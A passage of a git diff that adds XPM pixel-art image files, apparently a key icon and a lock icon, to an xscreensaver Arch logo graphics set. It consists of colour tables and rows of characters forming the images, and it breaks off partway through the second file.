+" ..................=!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!'+................. ", +" ..................+='!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!,&................... ", +" ......................+@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@+..................... ", +" ........................................................................................................................................................ ", +" ........................................................................................................................................................ ", +" ...................................................................................................................................................... ", +" ..................................................................................................................................................... ", +" .................................................................................................................................................... ", +" .................................................................................................................................................. ", +" ................................................................................................................................................ ", +" .............................................................................................................................................. ", +" ............................................................................................................................................ ", +" ......................................................................................................................................... ", +" ...................................................................................................................................... ", +" .................................................................................................................................. ", +" ............................................................................................................................. ", +" ....................................................................................................................... "}; diff --git a/xscreensaver-arch-logo/xscreensaver-graphics-all/logo-180-key.xpm b/xscreensaver-arch-logo/xscreensaver-graphics-all/logo-180-key.xpm new file mode 100644 index 0000000..976a771 --- /dev/null +++ b/xscreensaver-arch-logo/xscreensaver-graphics-all/logo-180-key.xpm @@ -0,0 +1,200 @@ +/* XPM */ +static char * logo_180_key_xpm[] = { +"180 180 17 1", +" c None", +". c #11130D", +"+ c #252A22", +"@ c #3F423A", +"# c #5B5E55", +"$ c #696B63", +"% c #7A7E70", +"& c #82857C", +"* c #8F938B", +"= c #9DA099", +"- c #AAACA5", +"; c #B7B9B2", +"> c #C4C6C0", +", c #D3D5D1", +"' c #E4E6E3", +") c #F2F4F1", +"! c #FDFFFC", +" ", +" *==---;;;;;;; ", +" *===----;;;;;;>>>>>> ", +" **====----;;;;;>,,,,,>>>>> ", +" ***=====----;;;>,'!!!),,>>>>>; ", +" &****==>,''')))'')!!!!!!,>>>>>>>;; ", +" &&&**=>'''''))))))!!!!!!!),,>>>>>>;;; ", +" %&&*=,''''''')))))!!!!!!!!)',,,>>>>>;;;; ", +" &%&&*,'''''''''))))!!!!!!!!)!!!'',>>>>;;;;- ", +" %%%&-'''''>;----;>,!!!!!!!!))!!!!)',>>>;;;;-- ", +" %%%%,'''>**====--->'!!!!!!)))))!!!!!),>>;;;;--- ", +" %%%%''''****====--;>,)!!',,,'))))!!!!))'>;;;;---- ", +" %%%&''''&****====--;;>>>>>>>>,'')))))))))'>;;;----= ", +" %%%&,'''*&*** ---;;;;>>>>>,,')))))))))'>;;----== ", +" %%%%>'''-&&** ;;;;>>>>>,,,'))))))))'>----==== ", +" &%%%=''',&&&*& ;;>>>>>>>>>,))))))))'>---====* ", +" %%%%&,'''-%&&& ;>>>>>>>>>,')))))))';--====* ", +" %%%%;,'',*%&&% >>>>>>>>>,'))))))),-====*** ", +" %%%%&,,,'>%%&%% >>>>>>>>;>'))))))',-===*** ", +" %%%%-,,,';%&%%% ;;;;;;;;>'))))))'>===**** ", +" %%%%&>,,,'=%%%%% ;;;;;;;;>')))))',-=***** ", +" %%%%&,,,,,-%%%%% ;;;;;;-->'))''''>=*****& ", +" %%%%*,,,,,-%%%%% ;;;-----,'''''''-****&& ", +" %%%%%-,,,,,-%%%%% --------,''''''>***&&& ", +" %%%%%;,,,,,;%%%%%% ------=>'''''',=**&&&% ", +" %%%%%>,,,,,>%%%%%% ----===-,''''''-*&&&%% ", +" %%%%%>,,,,,>%%%%%% -======-''''''>*&&%&%@++ ", +" %%%%%;,,,,,,*%%%%%% =======,''''',=&%%%%@+++++++++++++++ ", +" %%%%%-,,,,,,=%%%%%% =====**;''''''-&%&%%#++++++++++++++++++ ", +" %%%%%=,,,,,,-&%%%%%% ==****=,''''';%&%%%#++++++++++++++++++++ ", +" %%%%%*,,,,,,>&%%%%%% ++$******>'''''>%%%%%#++++@@@++++++++++++++ ", +" %%%%%%>,,,,,,*%%%%%%% +++++@&*****;'''''>%%%%%='!!!!!!!),-&@+++++++++ ", +" %%%%%%=,,,,,,;&%%%%%% +++++++@****&&='''''>&%%%%;!!!!!!!!!!!!'-#++++++++ ", +" %%%%%%*>,,,,,,=%%%%%%% +++++++#;)-#&&&&&*,''''>&%%%%>!!!!!!!!!!!!!!'*++++++++ ", +" %%%%%&;,,,,,,;&%%%%%%% ++++++@>!)$++@%&&&&*,''''>%%%%&,!!!!!!!!!!!!!!!)=+++++++ ", +" %%%%%%=,,,,,,,=%%%%%%%% ++++++-!!'@+++++&&&%%&>''''>%%%%&)!!'>>,,'!!!!!!!!)*++++++ ", +" %%%%%%%;,,,,,,>*%&%%%%% ++++++$'!!>@+++++-)-%%%&&>'''';%%%%=!!!!';;;;>,!!!!!!!,@+++++ ", +" %%%%%%*,,,,,,,>-==&%%%%% ++++++-!!!;+++++#'!!!-&&%%&,'',,=%%%%>!!!!)>;;--;,)!!!!!)&+++++ ", +" %%%%%%&-,,,,''',;=&%%%%@++++@,!!!>+++++&!!!!!!-%%%%&,,,,,*%%%&)!!!!)>;-----,!!!!!!-+++++ ", +" %%%%%%%*>,,'))))>*%%%#++++@'!!!>+++++-!!!!!!!!-%%%%*,,,,>&%%%&)!!!!)>;-----;'!!!!!>+++++ ", +" %%%%%%%=,'))!)',=&#++++@'!!!'@++++>!!!!!!!!!!=%%%%=,,,,-%%%%@,!!!!);;------,!!!!!,+++++ ", +" %%%%%%%;')))'',;++++@'!!!)@++++;!!!!!'!!!!)#$%%%%>,,,,%%%%#+>!!!!,;;------>)!!!!,+++++ ", +" &%%%%%*-,'''',@++++,!!!!$++++-!!!!),)!!!!$++%%%%&,,,,=%%%$++,!!!!>;;------;)!!!!-+++++ ", +" %%%%%&*->,,%++++>!!!!*++++*!!!!),'!!!!-+++@%%%%-,,,>%%%%++@)!!!';;;------;)!!!!&++++ ", +" %%%%%%%&*++++*!!!!>++++#)!!!),,)!!!)+++++%%%%&,,,,&%%%@++&!!!!;;;;-------)!!!)@++++ ", +" %%%%%%%@+++@)!!!)@+++@)!!!)>,,!!!!=++++ %%%%>,,,=%%%#+++)!!!,;;;;------;!!!!,+++++ ", +" %%%%#++++,!!!)$++++>!!!!>->'!!!!@+++#%%%%%%;,,,-%%%#+++-!!!';;;;------->!!!!=++++ ", +" %%++++&!!!!-@+++$!!!!,---'!!!'++++%%%%%%%>,,,=%%%#+++$!!!);;;;;-------'!!!)@++++ ", +" @++++'!!!,#++++'!!!)----,!!!>+++@%%%%%&=,,,,&%%%@++++!!!!>;;;;;-------)!!!>++++ ", +" ++++=!!!!*++++*!!!!>----,!!!-+++#%&**=;>>,,;%%%%+++++)!!!>;;;;;;;----->!!!!#++++ ", +" ++++)!!!>$++++)!!!'-----,!!!-+++&*-;;;;>>>>*%%%%.++++)!!!>;;;;;;;------)!!!>++++ ", +" ++++&!!!!*@+++*!!!!>-----,!!!;+++&----;;;;;*%%%%#.++++!!!!>>;;;;;;;----->!!!!@+++ ", +" ++++'!!!,&++++'!!!';;;---,!!!,+++#-------=&%%%%%+++++#!!!)>>>;;;;;;;;----)!!!-++++ ", +" +++#!!!!=#+++#!!!!>;;;;;;>!!!)++++*--==*&%%%%%%@+++++*!!!)>>>;;;;;;;;;---,!!!)++++ ", +" ++++=!!!'*@+++;!!!);;;;;;;;!!!!$+++#%%%%%%%%%%% ++++++,!!!'>>>>>;;;;;;;;--;!!!!#+++ ", +" ++++'!!!>*++++)!!!,;;;;;;;;'!!!,++++$%%%%%%%%% ++++++#!!!!,>>>>>>;;;;;;;;--'!!!-++++ ", +" +++@!!!!=$+++#!!!!>;;;;;;;;,!!!!#++++$%%%%%% +++++++,!!!)>>>>>>>>;;;;;;;;-,!!!'++++ ", +" +++%!!!)*#+++=!!!);;;;;;;;;;)!!!'++++++#$$ ++++++++&!!!!'>>>>>>>>>;;;;;;;;;!!!!@+++ ", +" ++++-!!!,*@+++>!!!'>>>;;;;;;;>!!!!,+++++++++++++++++#)!!!),>>>>>>>>>>;;;;;;;;)!!!$+++ ", +" ++++,!!!>*@+++'!!!,>>>>>>>>;;;'!!!!,+++++++++++++++$)!!!!,,>>>>>>>>>>>;;;;;;;'!!!=++++ ", +" ++++'!!!-*++++!!!!>>>>>>>>>>>>>)!!!!)#++++++++++++-!!!!!',,,>>>>>>>>>>>>;;;;;,!!!>++++ ", +" ++++)!!!=*+++@!!!!>>>>>>>>>>>>>>)!!!!!,$+++++++@=)!!!!!',,,,,,>>>>>>>>>>;;;;;,!!!'++++ ", +" ++++!!!!=&+++#!!!)>>>>>>>>>>>>>>>)!!!!!!),;-->'!!!!!!!',,,,,,,,>>>>>>>>>>>;;;>!!!'++++ ", +" +++@!!!)*%+++%!!!)>>>>>>>>>>>>>>>>'!!!!!!!!!!!!!!!!!!',,,,,,,,,>>>>>>>>>>>>;;>!!!)++++ ", +" +++#!!!)=$+++&!!!)>>>>>>>>>>>>>>>>>,)!!!!!!!!!!!!!!)',,,,,,,,,,,>>>>>>>>>>>>;>!!!)++++ ", +" +++@!!!'=$+++&!!!)>>>>>>>>>>>>>>>>>>>,'!!!!!!!!!)'',,,,,,,,,,,,,,,>>>>>>>>>>>>!!!!++++ ", +" +++@!!!)=$+++%!!!),,,,>>>>>>>>>>>>>>>>>>,''''',,>>>,,,,,,,,,,,,,,,,>>>>>>>>>>>!!!)++++ ", +" +++@!!!)=$+++%!!!),,,,,,,,>>>>>>>>>>>>>>>>>>>>>>>;;;>,,,,,,,,,,,,,,,>>>>>>>>>>!!!)++++ ", +" ++++)!!!=$+++#!!!!,,,,,,,,,,,,,>>>>>>>>>>>>>>;-----;;,,,,,,,,,,,,,,,,,>>>>>>>>!!!'++++ ", +" ++++)!!!-&+++@!!!!,,,,,,,,,,,,,,,,,>>>>>>;--------;;;;,,,,,,,,,,,,,,,,,,>>>>>,!!!'++++ ", +" ++++'!!!;&++++!!!!,,,,,,,,,,,,,,,,,,>;-===--------;;;;;,,,,,,,,,,,,,,,,,>>>>>'!!!,++++ ", +" ++++>!!!,&++++'!!!',,,,,,,,,,,,,,>-======-------;;;;;;;;,,,,,,,,,,,,,,,,,,>>>'!!!-++++ ", +" ++++*!!!'*@+++>!!!),,,,,,,,,,>-=***======-------;;;;;;;;>,,,,,,,,,,,,,,,,,,,>)!!!&+++ ", +" +++#!!!!=@+++*!!!),,,,,,,;=******======-------;;;;;;;;;>>,,,,,,,,,,,,,,,,,,,!!!!@+++ ", +" ++++)!!!;#+++@!!!!',,;=&&&&&*****======-------;;;;;;;>>>>,,,,,,,,,,,,,,,,,,'!!!)++++ ", +" ++++,!!!,$++++)!!!'''&&&&&&******======------;;;;;;;>>>>>>,,,,,,,,,,,,,,,,,)!!!>++++ ", +" ++++&!!!!%@+++;!!!)''=&&&&&******======------;;;;;;>>>>>>>>,,,,,,,,,,,,,,,,!!!!&++++ ", +" ++++)!!!=@+++#!!!!''>&&&&&******=====-----;;;;;;;;>>>>>>>>,'',',,,,,,,,,,'!!!!++++ ", +" ++++>!!!,#++++'!!!)''*&&&&*****======-----;;;;;;;>>>>>>>>>,'',,'',,,,,,,,)!!!,++++ ", +" ++++#!!!)&@+++*!!!!''>&&&&******====-------;;;;;>>>>>>>>>>>,'''''',,,,,,'!!!!$++++ ", +" ++++,!!!;#++++)!!!)''*&&&*****====-------;;;;;;>>>>>>>>>>,,''''''''',,,)!!!'++++ ", +" ++++#!!!,&++++=!!!!'',&&&*****=====-----;;;;;;;>>>>>>>>,,,,,''''''''','!!!!&++++ ", +" ++++>!!)-#++++)!!!!'';&&****======-----;;;;;;>>>>>>>>>,,,,,''''''''''!!!!'++++ ", +" ++++@)!!>=++++&!!!!)''=******=====-----;;;;;>>>>>>>>,,,,,,,,'''''''')!!!!$++++ ", +" ++++*!!';$++++,!!!!)''=****=====-----;;;;;;>>>>>>>>>,,,,,,,''''''''!!!!,++++ ", +" +++++,!!;;@+++@!!!!!)''=***=====-----;;;;;>>>>>>>>,,,,,,,,,'''''''!!!!)@++++ ", +" ++++@)!';=++++&!!!!!))'=**=====----;;;;;;>>>>>>>,,,,,,,,,,,''''')!!!!&++++ ", +" ++++#!!;;$++++;!!!!!))'-*=====----;;;;;;>>>>>>>,,,,,,,,,,,'''')!!!!>++++ ", +" ++++&!';;@++++'!!!!!)))>====-----;;;;;;>>>>>>>,,,,,,,,,,''''!!!!!'+++++ ", +" +++++*!;;=+++++'!!!!!)))'-==-----;;;;;>>>>>>>,,,,,,,,,'''')!!!!!)@++++ ", +" +++++*';;*+++++'!!!!!)))),;-----;;;;;>>>>>>>,,,,,,,'''''')!!!!)@++++ ", +" +++++%,;;&+++++'!!!!!!))))'>--;;;;;>>>>>>,,,,,,,''''''''!!!!)@++++ ", +" +++++;;;;#+++++>!!!!!!!))))),>;;;;>>>>>,,,,,'''''''''')!!!)@+++++ ", +" ++++>);;*@+++++*!!!!!!!!)))))))'',,,,,''')))))'''','')!!!-+++++ ", +" ++++)!';&$@+++++#)!!!!!!!!!)))))))))))))))))))''',,'))!!!,++++ ", +" +++@!!!,$$$#++++++-!!!!!!!!!!!!)))))))))))))))'',,,,))!!!)++++ ", +" ++++*!!!)&$$$#++++++@>!!!!!!!!!!!!)))))))))))))),,,,,')!!!!#+++ ", +" ++++,!!!,-&$$$$@++++++@;!!!!!!!!!!!!!)))))))))))',,,,')!!!!=++++ ", +" ++++)!!!>--&$$$$#++++++++&,!!!!!!!!!!!!!!!))))))',,,,')!!!!'++++ ", +" +++#!!!!---=*$$$$$@+++++++++$;'!!!!!!!!!!!!!!!))),,,,,))!!!!++++ ", +" ++++@!!!!,---==$$$$$$@++++++++++@)!!!!!!!!!!!!!!!!,,,,,))!!!!$+++ ", +" ++++>!!!!;---==&$$$$##@+++++++++>!!!!!!!!!!!!!!!!',,,>')!!!!;++++ ", +" ++++@)!!!'----==*$$$####@@@+++++$!!!!!!!!!!!!!!!!',,>>,!!!!!'++++ ", +" ++++=!!!!>----===&######$*=$++++!!!!!!!!!!!!!!!!)>>>>>)!!!!!++++ ", +" +++++'!!!)-----===&$####$=;;@+++'!!!!))))!!!!!!!!>>>>>'!!!!!&+++ ", +" ++++$!!!!,-----==&&&$#$$;;;#+++-!!!!!)))))))!!!!,>>>>,!!!!!>++++ ", +" ++++,!!!!;-----=&&&&&**;;;&+++#!!!!!!))))))))))';;;;>!!!!!)++++ ", +" ++++@!!!!,-----*&&&&*=,!),&++++)!!!!!!!)))))))));;;;;)!!!!!@+++ ", +" ++++;!!!)-----&&&&&*=)!!!#+++++,!!!!!!!!)))))))>;;;;,)!!!!*++++ ", +" ++++@!!!!----=&&&&&=-!!!!+.+++++#'!!!!!!!)))))),---->)!!!!,++++ ", +" +++++++!!!!----*&&&&&=>!!!'..+++++++&)!!!!!!)))))'-----))!!!!++++ ", +" +++++++@>!!!)----&&%&&*='!!!;+...+++++++-!!!!!!)))))-----')!!!!#+++ ", +" ++++++++=)!!!!,----&%%%%=-)!!!%+.. +++++++@,!!!!!))));====>)!!!!-++++ ", +" +++++++$'!!!!!)----=%%%%%=;!!!!++.. +++++++&!!!!))))>====;)!!!!'++++ ", +" ++++++#,!!!!!!);----*%%%%&-,!!!'++.. ++++++)!!!))))'=====))!!!!++++ ", +" ++++++;!!!!!!!';-----&%%%%*-'!!!-+++. ++++#!!!!)))))==***,)!!!!$+++ ", +" ++++$)!!!!!!'>;------%%$%$=-!!!!$+++ ++++'!!!!)))))-****;)!!!!;++++ ", +" ++++!!!!!!),;;;;----=$$$$$->!!!)++++ ++++&!!!!))))))>****=))!!!'++++ ", +" +++&!!!!!,;;;;;;----*$$$$&-,!!!,++++ +++++)!!!!''''')'*****')!!!!@+++ ", +" ++++-!!!!!>;;;;;;;---%$$$$*-)!!!*++++ ++++-!!!!)'''''''*&&&&>)!!!!&+++ ", +" ++++@'!!!!!>;;;;;;;--$$$$$=;!!!!@+++ ++++@!!!!)''''''''-&&&&-')!!!,++++ ", +" ++++++,!!!!!,;;;;;;;=$$$$$->!!!)++++ ++++,!!!!'''''''''>&&&&*')!!!)++++ ", +" ++++++>!!!!!,;;;;;;&$$$$&-'!!!>++++ ++++#!!!!)''''''''''&&&&&,)!!!!@+++ ", +" ++++++-!!!!!';;;;;$$$$$*-)!!!&++++ ++++'!!!!'''''''''''*&&&&;'!!!!=++++ ", +" +++++*!!!!!,;;;-$$$$$-;!!!!@+++ ++++@!!!!!))'''''''''-%%%%*')!!!,++++ ", +" +++++&!!!!!>;;*$$$$$-,!!!'++++ ++++!!!!!!!!!)))''''>$$$$%')!!!!++++ ", +" +++++$)!!!';;&####&-'!!!;++++ ++++)!!!!!!!!!!!!)'''$$$$$>'!!!!#+++ ", +" +++++&!!!';;$####=;!!!!$+++ ++++$'!!!!!!!!!!!!)''&$$$$-'!!!!-++++ ", +" ++++&!!!';-#####->!!!!++++ ++++++@&>'!!!!!!!!)'-$$$$&')!!!'++++ ", +" ++++;!!!';*####$;,!!!'++++ +++++++++++#*>)!!!!'>$$$$$')!!!!++++ ", +" ++++'!!!,;$####&;)!!!-++++ ++++++++++++++@!!!!''$$$$$>'!!!!$+++ ", +" ++++@!!!!>;#####=;!!!!#+++ ++++++++++++'!!!)'*$$$$=')!!!>++++ ", +" +++++++++&!!!);=#####;,!!!)++++ +++++++;!!!)'-$$$$&')!!!)++++ ", +" ++++++++++++++,!!!';&####%;'!!!,++++ ++++$!!!!'>$$$$$,'!!!!@+++ ", +" ++++++++++++++$!!!!,;$####*>)!!!*++++ ++++!!!!',%$$$$;'!!!!*++++ ", +" +++++++++@&;,)!!!!)>;#####-,!!!!@+++ ++++'!!!',*$$$$*')!!!,++++ ", +" ++++@%-,)!!!!!!!!!,>=####$>'!!!)++++ +++++;!!!',-$$$$$')!!!)++++ ", +" ++++&!!!!!!!!!!!!!'>>&####&>'!!!>++++ ++++++'!!!',,$$$$$,'!!!!@+++ ", +" ++++,!!!!!!!!!!!',>>>$####=,!!!!&++++ +++++@'!!!!',,&$$$$-'!!!!=++++ ", +" ++++)!!!!!!)'',>>>>>-#####>,!!!!@+++ +++++@)!!!!),,,=$$$$*')!!!,++++ ", +" ++++)!!!!,,>>>>>>>>>*####$,'!!!'++++ +++++#)!!!!),,,,;$$$$$''!!!!++++ ", +" ++++%!!!!'>>>>>>>>>>&####*,)!!!;++++ +++++%!!!!!),,,,,,$$$$$>'!!!!$+++ ", +" ++++,!!!!,>>>>>>>>>$####-,!!!!$+++ +++++*!!!!!),,,,,,,&$$$$=')!!!-++++ ", +" ++++#!!!!'>>>>>>>>-####$,,!!!!++++ +++++-!!!!!),,,,,,,,=$$$$&')!!!'++++ ", +" ++++;!!!!,>>>>>>>*####&,'!!!,++++ ++++;!!!!!',,,,,,,,,;$$$$$,'!!!!++++ ", +" ++++@)!!!)>>>>>>>%####=,)!!!=++++ ++++'!!!!),,,,,,,,,,,$$$$$;'!!!!&+++ ", +" ++++*!!!!'>>>>>>####$;,!!!!#+++ ++++=!!!!!),,,,,,,,,,&$$$$=')!!!>++++ ", +" +++++'!!!)>>>>>-###$$,'!!!)++++ +++@!!!!!!!',,,,,,,,=$$$$%''!!!)++++ ", +" ++++$!!!!,>>>>*###$&,'!!!,++++ ++++@,!!!!!!!',,,,,,>$$$$$,'!!!!@+++ ", +" +++++'!!!,,>>>$##$$-,)!!!*++++ ++++++$)!!!!!!),>>>,,$$$$$-,!!!!*++++ ", +" +++++++,!!!',,>>###$$>,!!!!@+++ +++++++=)!!!!!!,>>>>*$$$$*,)!!!,++++ ", +" ++++++++-!!!!,,,>=##$$$,'!!!)++++ +++++++@>!!!!!)>>>>-$$$$$,'!!!)++++ ", +" +++++++&)!!!!),,,,&#$$$*,)!!!>++++ +++++++#'!!!!'>>>>##$$$>,!!!!#+++ ", +" +++++++#'!!!!!!,,,,>$#$$$-,!!!!&+++ +++++++-!!!)>>>>%#$$$=,)!!!=++++ ", +" ++++++@>!!!!!!!',,,,;$$$$$,'!!!!++++ ++++++#!!!)>>>>*#$$$&,)!!!,++++ ", +" +++++=)!!!!!!),,,,,,=$$$$&,'!!!'++++ ++++-!!!)>>>>-#$$$$,'!!!!++++ ", +" ++++@)!!!!!!)',,,,,,,&$$$$=,)!!!;++++ ++++@!!!!'>>>>>$$$$$;,!!!!$+++ ", +" ++++'!!!!!!',,,,,,,,,$$$$$;,!!!!$+++ ++++>!!!!>>>>>>&$$$$=,)!!!-++++ ", +" ++++!!!!!)',,,,,,,,,;$$$$$,'!!!!++++ ++++#!!!!'>>>>>>*$$$$&,'!!!'++++ ", +" +++#!!!!),,,,,,,,,,,*$$$$&,)!!!,++++ ++++'!!!!>>>>>>>-$$$$$>,!!!!++++ ", +" ++++@!!!!!',,,,,,,,,,&$$$$-,)!!!=++++ ++++&!!!!,>>>>>>>>$$$$$-,!!!!&+++ ", +" ++++&!!!!),,,,,,,,,,$$$$$>'!!!!#+++ +++++)!!!)>>>>>>>>>&$$$$*,)!!!>++++ ", +" +++++>!!!!),,,,,,,,;$$$$$''!!!)++++ ++++-!!!!,;>>>>>>>>=$$$$$,'!!!)++++ ", +" +++++)!!!!',,,,,,,*$$$$*')!!!,++++ ++++@!!!!';;;;;;>>>>;$$$$$>,!!!!++++ ", +" ++++#!!!!!',,,,,,&$$$$-'!!!!*++++ ++++=!!!!>;;;;;;;;;;>%$$$$='!!!'++++ ", +" ++++*!!!!),,,,,,$$$$$,'!!!!@+++ ++++&!!!!),>;;;;;;;;>*$$$$&!!!!*++++ ", +" +++++,!!!!',,,';$$$$&''!!!)++++ +++@!!!!!!!'>;;;;;;>-$$$$$!!!!@+++ ", +" +++++)!!!!',,'*$$$$*'!!!!>++++ ++++,!!!!!!!!),;;;;>>$$$$$'!!,++++ ", +" ++++#!!!!!'''%$$$$;)!!!!&+++ +++++$,!!!!!!!!),;;>,&$$$$;!!*++++ ", +" ++++=!!!!!!'$$$$$)!!!!!++++ ++++++@;)!!!!!!!!!!!;$$$$*!!@+++ ", +" +++++,!!!!!;$$$$*!!!!)#++++ +++++++++*'!!!!!!!!!,$$$$%);++++ ", +" +++++)!!!!*$$$$;!!!)@+++++ +++++++++%,!!!!!!!!&$$#@@+++++ ", +" +++++%>))%$$$$,!!'@+++++ +++++++++#>!!!!),$@++++++++ ", +" +++++++@@$$$&!!,++++++ +++++++++@*=#++++++++++++ ", +" +++++++++++@$'-++++++ ++++++++++++++++++++ ", +" +++++++++++++++++++ +++++++++++++++ ", +" +++++++++++++ +++++++++ ", +" +++++++++ ++ ", +" ++++ ", +" "}; diff --git a/xscreensaver-arch-logo/xscreensaver-graphics-all/logo-180-lock-ok.xpm b/xscreensaver-arch-logo/xscreensaver-graphics-all/logo-180-lock-ok.xpm new file mode 100644 index 0000000..f473bb6 --- /dev/null +++ b/xscreensaver-arch-logo/xscreensaver-graphics-all/logo-180-lock-ok.xpm @@ -0,0 +1,200 @@ +/* XPM */ +static char * logo_180_lock_ok_xpm[] = { +"180 180 17 1", +" c None", +". c #363835", +"+ c #4B4D4A", +"@ c #626461", +"# c #7B7E73", +"$ c #898C7D", +"% c #898B87", +"& c #959B92", +"* c #A4A89F", +"= c #B8B8AF", +"- c #BABCB9", +"; c #C2C4C1", +"> c #CACCC9", +", c #D3D5D2", +"' c #DDDFDB", +") c #E6E9E5", +"! c #F2F4F1", +" ", +" ", +" %%% ", +" %%%%%% ", +" %%%%%%%%% ", +" %%%%%%%%%%%% ", +" %%%%%%%%%%%%%%%% ", +" %%%%%%%,!'*%%%%%%%% ", +" %%%%%%%*!!!!!,&%%%%%%%% ", +" %%%%%%%>!!!!!!!!;%%%%%%%%% ", +" %%%%%%%*)!!!!!!!!!!)-%%%%%%%%% ", +" %%%%%%%;!!!!!!!!!!!!!!)-%%%%%%%%% ", +" %%%%%%%*)!!!!!!!)!!!!!!!!!)-%%%%%%%%% ", +" %%%%%%%%,!!!!!!!!))))!!!!!!!!!)-%%%%%%%%% ", +" %%%%%%%%-!!!!!!!!))))))))!!!!!!!!!)-&%%%%%%%% ", +" %%%%%%%&'!!!!!!!!)))))))))))!!!!!!!!!);&%%%%%%%%% ", +" %%%%%%%%>!!!!!!!!!))))))))))))))!!!!!!!!!);&%%%%%%%%% ", +" %%%%%%%%-!!!!!!!!!))))))''')))))))')!!!!!!!!!);&%%%%%%%%% ", +" %%%%%%%%*)!!!!!!!!!))))),--;;--'))))''')!!!!!!!!))>*%%%%%%%%%% ", +" %%%%%%%%*'!!!!!!!!!))))))-*->''>=&>))))''''))!!!!!)))),*%%%%%%%%%$ ", +" %%%%%%%%&,!!!!!!!!!)))))));%*;'!),-&%')))''''''')!!!)))))),-%%%%%%%%%% ", +" %%%%%%%%%>!!!!!!!!!!))))))))#%*-,)'>-&%*)))''''''''')!))))))))'-&%%%%%%%%%% ", +" %%%%%%%%%;)!!!!!!!!!)))))!!!!;@%&=;>>-*%#@)))'''''''''''))))))))))';*%%%%%%%%%% ", +" %%%%%%%%%;)!!!!!!!!!))))))!!!!!*@#%&*--*&%@+')))''''''''',,,')))))))'''>*%%%%%%%%%% ", +" %%%%%%%%%%;)!!!!!!!!!)))))))!!!!!!*+@#%%&&%%#@+')))'''''''''',,,,')))))'''''>-&%%%%%%%%%% ", +" %%%%%%%%%&;)!!!!!!!!!))))))))!!!!!!!;.+@@#%##@@++))))'''''''''',,,,,,,')))'''''',-*%%%%%%%%%% ", +" %%%%%%%%%&;)!!!!!!!!!))))))))))!!!!!!!)..+@@@@@++.%))))'''''''''',,,,,,,,,''''''''',,;*%%%%%%%%%%% ", +" %%%%%%%%%*>)!!!!!!!!!)))))))))))!!!!!!!!!-...++++..+'))))'''''''''',,,,,,,,>>>,'''''',,,,>-&%%%%%%%%%% ", +" %%%%%%%%%%*>)!!!!!!!!!)')))))))))))!!!!!!!!!!&.......+;)))))'''''''''',,,,,,,,>>>>>,,''',,,,,>>-*%%%%%%%%%%% ", +" %%%%%%%%%%=,))!!!!!!!))''')))))))))))!!!!!!!!!!!;@++++%,)))))))''''''''',,,,,,,,>>>>>>>>,,,,,,,>>>>-*%%%%%%%%%%% ", +" %%%%%%%%%%&-'))))!!!!!)''''')))))))))))!!!!!!!!!!!!!!'>>))))))))))''''''''',,,,,,,,>>>>>>>>;;>,,,,>>>>>;;-&%%%%%%%%%%% ", +" %%%%%%%%%%*;'))))))!!!)''''''')))))))))))!!!!!!!!!!!!!!!!)))))))))))''''''''',,,,,,,,>>>>>>>>;;;;;>,>>>>>>;;;=*%%%%%%%%%%% ", +" %%%%%%%%%%%*>')))))))))'''''''''')))))))))))!!!!!!!!!!!!!!!!)))))))))))''''''''',,,,,,,,>>>>>>>>;;;;;;;>>>>>>;;;;-=*&%%%%%%%%%%% ", +" %%%%%%%%%%&-,')))))))))',,''''''''')))))))))))!!!!!!!!!!!!!!!!)))))))))))''''''''',,,,,,,,>>>>>>>>;;;;;;;;-;>>>;;;;---=*&%%%%%%%%%%% ", +" %%%%%%%%%%%*>,'''))))))',,,,,''''''''')))))))))))!!!!!!!!!!!!!!!!)))))))))))''''''''',,,,,,,,>>>>>>>>;;;;;;;;----;;;;;----=**&$%%%%%%%%%%% ", +" %%%%%%%%%%%&-,''''''))))',,,,,,,''''''''')))))))))))!!!!!!!!!!!!!!!!!))))))))))''''''''',,,,,,,,>>>>>>>>;;;;;;;;-----==;;----=***&&$%%%%%%%%%%%% ", +" %%%%%%%%%%%%*;,,,'''''''',>,,,,,,,,''''''''')))))))))))!!!!!!!!!!!!!!!!!))))))))))''''''''',,,,,,,,>>>>>>>>;;;;;;;;-----===-----=***&&&$##%%%%%%%%%%% ", +" %%%%%%%%%%%%&->,,,,,''''',>>>>,,,,,,,,''''''''')))))))))))!!!!!!!!!!!!!!!!!))))))))))''''''''',,,,,,,,>>>>>>>>;;;;;;;;-----=========***&&&&$$###%%%%%%%%%%% ", +" %%%%%%%%%%%%&*;>>>,,,,,'',,>>>>>>,,,,,,,,''''''''')))))))))))!!!!!!!!!!!!!!!!!))))))))))''''''''',,,,,,,,>>>>>>>>;;;;;;;;-----=======*****&&&&$$#####%%%%%%%%%%% ", +" %%%%%%%%%%%%%*=;>>>>>,,,,,>>>>>>>>>>,,,,,,,,''''''''')))))))))))!!!!!!!!!!!!!!!!!))))))))))''''''''',,,,,,,,>>>>>>>>;;;;;;;;-----=======***&&&&&&$$###$$&&&%%%%%%%%% ", +" %%%%%%%%%%%%*=;;;;>>>>>,,>>;;;>>>>>>>>,,,,,,,,''''''''')))))))))))!!!!!!!!!!!!!!!!)))))))))))''''''''',,,,,,,,>>>>>>>>;;;;;;;;-----=======***&&&&&&$$###$$&&**&&%%%%%% ", +" %%%%%%%%%&*=-;;;;;>>>>>>;;;;;;>>>>>>>>,,,,,,,,''''''''')))))))))))!!!!!!!!!!!!!!!!)))))))))))''''''''',,,,,,,,>>>>>>>>;;;;;;;;-----=======***&&&$$#$$###$$&&**===*%%%% ", +" %%%%%%&&*==--;;;;;>>;;;;;;;;;;>>>>>>>>,,,,,,,,''''''''')))))))))))!!!!!!!!!!!!!!);;;->)))))))''''''''',,,,,,,,>>>>>>>>;;;;;;;;-----=======***&&&$$######$$&&**====%%%% ", +" %%%%&&&**==--;;;;;----;;;;;;;;>>>>>>>>,,,,,,,,''''''''')))))))))))!!!!!!!!!!!!!)*-,)>**))))))''''''''',,,,,,,,>>>>>>>>;;;;;;;;-----=======***&&&$$#######$&&**===*%%%% ", +" 